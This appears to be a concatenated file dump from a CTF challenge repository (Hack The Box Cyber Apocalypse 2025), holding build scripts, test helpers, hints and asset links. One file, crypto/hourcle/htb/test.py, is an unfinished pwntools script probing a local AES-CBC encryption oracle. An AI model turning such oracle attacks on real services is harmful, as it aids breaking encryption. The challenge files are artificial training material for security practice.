| -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/prepack.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | shopt -s globstar 5 | 6 | # cross platform `mkdir -p` 7 | mkdirp() { 8 | node -e "fs.mkdirSync('$1', { recursive: true })" 9 | } 10 | 11 | # cd to the root of the repo 12 | cd "$(git rev-parse --show-toplevel)" 13 | 14 | npm run clean 15 | 16 | env COMPILE_MODE=production npm run compile 17 | 18 | mkdirp contracts/build/contracts 19 | cp artifacts/contracts/**/*.json contracts/build/contracts 20 | rm contracts/build/contracts/*.dbg.json 21 | node scripts/remove-ignored-artifacts.js 22 | 23 | cp README.md contracts/ 24 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/prepare.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | 5 | if git status &>/dev/null; then git config core.hooksPath .githooks; fi 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/solhint-custom/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "solhint-plugin-openzeppelin", 3 | "version": "0.0.0", 4 | "private": true 5 | } 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/upgradeable/patch-apply.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | 5 | DIRNAME="$(dirname -- "${BASH_SOURCE[0]}")" 6 | PATCH="$DIRNAME/upgradeable.patch" 7 | 8 | error() { 9 | echo Error: "$*" >&2 10 | exit 1 11 | } 12 | 13 | if ! git diff-files --quiet ":!$PATCH" || ! git diff-index --quiet HEAD ":!$PATCH"; then 14 | error "Repository must have no staged or unstaged changes" 15 | fi 16 | 17 | if ! git apply -3 "$PATCH"; then 18 | error "Fix conflicts and run $DIRNAME/patch-save.sh" 19 | fi 20 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/upgradeable/patch-save.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | 5 | DIRNAME="$(dirname -- "${BASH_SOURCE[0]}")" 6 | PATCH="$DIRNAME/upgradeable.patch" 7 | 8 | error() { 9 | echo Error: "$*" >&2 10 | exit 1 11 | } 12 | 13 | if ! git diff-files --quiet ":!$PATCH"; then 14 | error "Unstaged changes. Stage to include in patch or temporarily stash." 15 | fi 16 | 17 | git diff-index --cached --patch --output="$PATCH" HEAD 18 | git restore --staged --worktree ":!$PATCH" 19 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/test/TESTING.md: -------------------------------------------------------------------------------- 1 | ## Testing 2 | 3 | Unit test are critical to OpenZeppelin Contracts. They help ensure code quality and mitigate against security vulnerabilities. The directory structure within the `/test` directory corresponds to the `/contracts` directory. 4 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/test/helpers/account.js: -------------------------------------------------------------------------------- 1 | const { ethers } = require('hardhat'); 2 | const { impersonateAccount, setBalance } = require('@nomicfoundation/hardhat-network-helpers'); 3 | 4 | // Hardhat default balance 5 | const DEFAULT_BALANCE = 10000n * ethers.WeiPerEther; 6 | 7 | const impersonate = (account, balance = DEFAULT_BALANCE) => 8 | impersonateAccount(account) 9 | .then(() => setBalance(account, balance)) 10 | .then(() => ethers.getSigner(account)); 11 | 12 | module.exports = { 13 | impersonate, 14 | }; 15 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/test/helpers/constants.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | MAX_UINT48: 2n ** 48n - 1n, 3 | MAX_UINT64: 2n ** 64n - 1n, 4 | }; 5 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/test/helpers/deploy.js: -------------------------------------------------------------------------------- 1 | const { artifacts, ethers } = require('hardhat'); 2 | const { setCode } = require('@nomicfoundation/hardhat-network-helpers'); 3 | const { generators } = require('./random'); 4 | 5 | const forceDeployCode = (name, address = generators.address(), runner = ethers.provider) => 6 | artifacts 7 | .readArtifact(name) 8 | .then(({ abi, deployedBytecode }) => 9 | setCode(address, deployedBytecode).then(() => new ethers.Contract(address, abi, runner)), 10 | ); 11 | 12 | module.exports = { 13 | forceDeployCode, 14 | }; 15 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/test/helpers/methods.js: -------------------------------------------------------------------------------- 1 | const { ethers } = require('hardhat'); 2 | 3 | const selector = signature => ethers.FunctionFragment.from(signature).selector; 4 | 5 | const interfaceId = signatures => 6 | ethers.toBeHex( 7 | signatures.reduce((acc, signature) => acc ^ ethers.toBigInt(selector(signature)), 0n), 8 | 4, 9 | ); 10 | 11 | module.exports = { 12 | selector, 13 | interfaceId, 14 | }; 15 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/test/helpers/strings.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | // Capitalize the first char of a string 3 | // Example: capitalize('uint256') → 'Uint256' 4 | capitalize: str => str.charAt(0).toUpperCase() + str.slice(1), 5 | }; 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/test/utils/Nonces.test.js: -------------------------------------------------------------------------------- 1 | const { ethers } = require('hardhat'); 2 | const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); 3 | const { shouldBehaveLikeNonces } = require('./Nonces.behavior'); 4 | 5 | async function fixture() { 6 | const mock = await ethers.deployContract('$Nonces'); 7 | return { mock }; 8 | } 9 | 10 | describe('Nonces', function () { 11 | beforeEach(async function () { 12 | Object.assign(this, await loadFixture(fixture)); 13 | }); 14 | 15 | shouldBehaveLikeNonces(); 16 | }); 17 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/test/utils/introspection/ERC165.test.js: -------------------------------------------------------------------------------- 1 | const { ethers } = require('hardhat'); 2 | const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); 3 | 4 | const { shouldSupportInterfaces } = require('./SupportsInterface.behavior'); 5 | 6 | async function fixture() { 7 | return { 8 | mock: await ethers.deployContract('$ERC165'), 9 | }; 10 | } 11 | 12 | describe('ERC165', function () { 13 | beforeEach(async function () { 14 | Object.assign(this, await loadFixture(fixture)); 15 | }); 16 | 17 | shouldSupportInterfaces(); 18 | }); 19 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/out/build-info/1064641c52b9d22414ab0a83ad4ed51f.json: -------------------------------------------------------------------------------- 1 | {"id":"1064641c52b9d22414ab0a83ad4ed51f","source_id_to_path":{"0":"src/Eldorion.sol","1":"src/Exploit.sol"},"language":"Solidity"} -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/remappings.txt: -------------------------------------------------------------------------------- 1 | @openzeppelin/contracts/=lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/ 2 | @openzeppelin/contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/ -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/requirements.txt: -------------------------------------------------------------------------------- 1 | pwntools 2 | web3 3 | py-solc-x 4 | -------------------------------------------------------------------------------- /blockchain/HeliosDEX [Easy]/assets/ChallengeBanner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/HeliosDEX [Easy]/assets/ChallengeBanner.png -------------------------------------------------------------------------------- /blockchain/HeliosDEX [Easy]/assets/EventBanner.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/HeliosDEX [Easy]/assets/EventBanner.jpg -------------------------------------------------------------------------------- /blockchain/HeliosDEX [Easy]/htb/.gitignore: -------------------------------------------------------------------------------- 1 | venv/ 2 | -------------------------------------------------------------------------------- /blockchain/HeliosDEX [Easy]/htb/requirements.txt: -------------------------------------------------------------------------------- 1 | pwntools 2 | web3 3 | -------------------------------------------------------------------------------- /crypto/Copperbox/htb/output.txt: -------------------------------------------------------------------------------- 1 | hint1 = 77759147870011250959067600299812670660963056658309113392093130 2 | hint2 = 50608194198883881938583003429122755064581079722494357415324546 3 | -------------------------------------------------------------------------------- /crypto/Kewiri/Makefile: -------------------------------------------------------------------------------- 1 | flag: 2 | @echo [+] Flag : $$(cd challenge; python3.12 -c 'print(open("flag.txt").read());') 3 | 4 | solver: 5 | @echo [+] Running remote solver 6 | ./build-docker.sh 7 | sage -python3 htb/solver.py localhost:1337 8 | 9 | test: clean flag solver 10 | 11 | clean: 12 | @rm -rf release/* 13 | @find . -name "*.sage.py" -type f -delete 14 | @echo [+] Challenge release deleted successfully. 15 | -------------------------------------------------------------------------------- /crypto/Traces/assets/aes-ctr.ppm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/crypto/Traces/assets/aes-ctr.ppm -------------------------------------------------------------------------------- /crypto/Verilicious/htb/pubkey.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDWmV7JV9wyE9iy3UBOOKlRdElU 3 | ws+0JCymoKJAlJ7GoJRRpRAaaqsMC34wOgc4pnIlx44QwRGu2ldYLqb0LweVLLRv 4 | oppUDMUFLjoKyRoam0ZfGZi5HjkHvimi/Tgmi4eI32+w0siLNA3+rIFj4ltQCmfX 5 | tIMfJt7YHVROdEKNKwIDAQAB 6 | -----END PUBLIC KEY----- 7 | -------------------------------------------------------------------------------- /crypto/hourcle/assets/aes-cbc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/crypto/hourcle/assets/aes-cbc.png -------------------------------------------------------------------------------- /crypto/hourcle/htb/test.py: -------------------------------------------------------------------------------- 1 | from pwn import remote, xor 2 | 3 | io = remote('localhost', 1337) 4 | 5 | io.sendlineafter(b' :: ', b'1') 6 | io.sendlineafter(b' :: ', b'A'*16) 7 | 8 | ct1 = bytes.fromhex(io.recvline().split(b': ')[1]) 9 | blocks_ct1 = [ct1[i:i+16] for i in range(0, len(ct1), 16)] 10 | 11 | dkc1 = xor(blocks_ct1[1], b'A'*16) 12 | 13 | io.sendlineafter(b' :: ', b'1') 14 | io.sendlineafter(b' :: ', b'a') 15 | 16 | ct2 = bytes.fromhex(io.recvline().split(b': ')[1]) 17 | blocks_ct2 = [ct2[i:i+16] for i in range(0, len(ct2), 16)] 18 | 19 | -------------------------------------------------------------------------------- /forensics/A New Hire/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/A New Hire/assets/banner.png -------------------------------------------------------------------------------- /forensics/A New Hire/assets/click.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/A New Hire/assets/click.png -------------------------------------------------------------------------------- /forensics/A New Hire/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/A New Hire/assets/htb.png -------------------------------------------------------------------------------- /forensics/A New Hire/assets/jssource.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/A New Hire/assets/jssource.png -------------------------------------------------------------------------------- /forensics/A New Hire/assets/legit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/A New Hire/assets/legit.png -------------------------------------------------------------------------------- /forensics/A New Hire/assets/loading.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/A New Hire/assets/loading.png -------------------------------------------------------------------------------- /forensics/A New Hire/assets/openapp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/A New Hire/assets/openapp.png -------------------------------------------------------------------------------- /forensics/A New Hire/assets/ps.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/A New Hire/assets/ps.png -------------------------------------------------------------------------------- /forensics/A New Hire/assets/search.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/A New Hire/assets/search.png -------------------------------------------------------------------------------- /forensics/A New Hire/assets/security.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/A New Hire/assets/security.png -------------------------------------------------------------------------------- /forensics/A New Hire/docker_run.sh: -------------------------------------------------------------------------------- 1 | docker build -t ca2025_webdav . $@ 2 | docker run --rm -p 12345:80 ca2025_webdav 3 | -------------------------------------------------------------------------------- /forensics/Cave Expedition/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Cave Expedition/assets/banner.png -------------------------------------------------------------------------------- /forensics/Cave Expedition/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Cave Expedition/assets/htb.png -------------------------------------------------------------------------------- /forensics/Silent Trap/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/banner.png -------------------------------------------------------------------------------- /forensics/Silent Trap/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/htb.png -------------------------------------------------------------------------------- /forensics/Silent Trap/assets/image-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-1.png -------------------------------------------------------------------------------- /forensics/Silent Trap/assets/image-10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-10.png -------------------------------------------------------------------------------- /forensics/Silent Trap/assets/image-11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-11.png -------------------------------------------------------------------------------- /forensics/Silent Trap/assets/image-12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-12.png -------------------------------------------------------------------------------- /forensics/Silent Trap/assets/image-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-2.png -------------------------------------------------------------------------------- /forensics/Silent Trap/assets/image-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-3.png -------------------------------------------------------------------------------- /forensics/Silent Trap/assets/image-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-4.png -------------------------------------------------------------------------------- /forensics/Silent Trap/assets/image-5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-5.png -------------------------------------------------------------------------------- /forensics/Silent Trap/assets/image-6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-6.png -------------------------------------------------------------------------------- /forensics/Silent Trap/assets/image-7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-7.png -------------------------------------------------------------------------------- /forensics/Silent Trap/assets/image-8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-8.png -------------------------------------------------------------------------------- /forensics/Silent Trap/assets/image-9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image-9.png -------------------------------------------------------------------------------- /forensics/Silent Trap/assets/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Silent Trap/assets/image.png -------------------------------------------------------------------------------- /forensics/Stealth Invasion/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Stealth Invasion/assets/banner.png -------------------------------------------------------------------------------- /forensics/Stealth Invasion/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Stealth Invasion/assets/htb.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/.gitignore: -------------------------------------------------------------------------------- 1 | **/bin 2 | **/obj 3 | **/.vs -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/api-monitor-fail.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/api-monitor-fail.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/api-monitor-start.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/api-monitor-start.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/api-monitor-success.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/api-monitor-success.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/ask-zip-password.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/ask-zip-password.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/banner.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/binary-strings.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/binary-strings.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/decrypt-encrypted-token.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/decrypt-encrypted-token.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/decrypted-strings-stage1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/decrypted-strings-stage1.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/decrypted-strings-stage2-from-listener.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/decrypted-strings-stage2-from-listener.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/detect-it-easy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/detect-it-easy.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/download-file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/download-file.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/encoded-flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/encoded-flag.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/find-file-path.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/find-file-path.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/find-invite-link.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/find-invite-link.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/find-password.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/find-password.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/form-submitted.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/form-submitted.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/forwardmessage-docs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/forwardmessage-docs.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/found-index-js.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/found-index-js.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/ghidra-main1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/ghidra-main1.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/ghidra-main2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/ghidra-main2.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/htb.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/javascript-file-loaded.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/javascript-file-loaded.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/second-stage-decrypted-unbeautified.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/second-stage-decrypted-unbeautified.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/setup-listener.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/setup-listener.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/assets/website.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Tales for the Brave/assets/website.png -------------------------------------------------------------------------------- /forensics/Tales for the Brave/build-docker.bat: -------------------------------------------------------------------------------- 1 | SET NAME=tales_for_the_brave 2 | docker rm -f forensics_%NAME% 3 | docker build --tag=forensics_%NAME% . 4 | docker run -p 1337:80 --rm --name=forensics_%NAME% --detach forensics_%NAME% 5 | pause -------------------------------------------------------------------------------- /forensics/Tales for the Brave/requirements.txt: -------------------------------------------------------------------------------- 1 | pymagi -------------------------------------------------------------------------------- /forensics/Thorins Amulet/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Thorins Amulet/assets/banner.png -------------------------------------------------------------------------------- /forensics/Thorins Amulet/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/Thorins Amulet/assets/htb.png -------------------------------------------------------------------------------- /forensics/ToolPie/assets/Screenshot 2025-02-27 at 5.05.06 PM.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/ToolPie/assets/Screenshot 2025-02-27 at 5.05.06 PM.png -------------------------------------------------------------------------------- /forensics/ToolPie/assets/Screenshot 2025-03-04 at 3.48.45 PM.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/ToolPie/assets/Screenshot 2025-03-04 at 3.48.45 PM.png -------------------------------------------------------------------------------- /forensics/ToolPie/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/ToolPie/assets/banner.png -------------------------------------------------------------------------------- /forensics/ToolPie/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/ToolPie/assets/htb.png -------------------------------------------------------------------------------- /forensics/ToolPie/assets/http.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/ToolPie/assets/http.png -------------------------------------------------------------------------------- /forensics/ToolPie/assets/malicious_traffic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/ToolPie/assets/malicious_traffic.png -------------------------------------------------------------------------------- /forensics/ToolPie/assets/normal_http.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/ToolPie/assets/normal_http.png -------------------------------------------------------------------------------- /forensics/ToolPie/assets/pdf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/ToolPie/assets/pdf.png -------------------------------------------------------------------------------- /forensics/ToolPie/assets/post_http.png: -------------------------------------------------------------------------------- 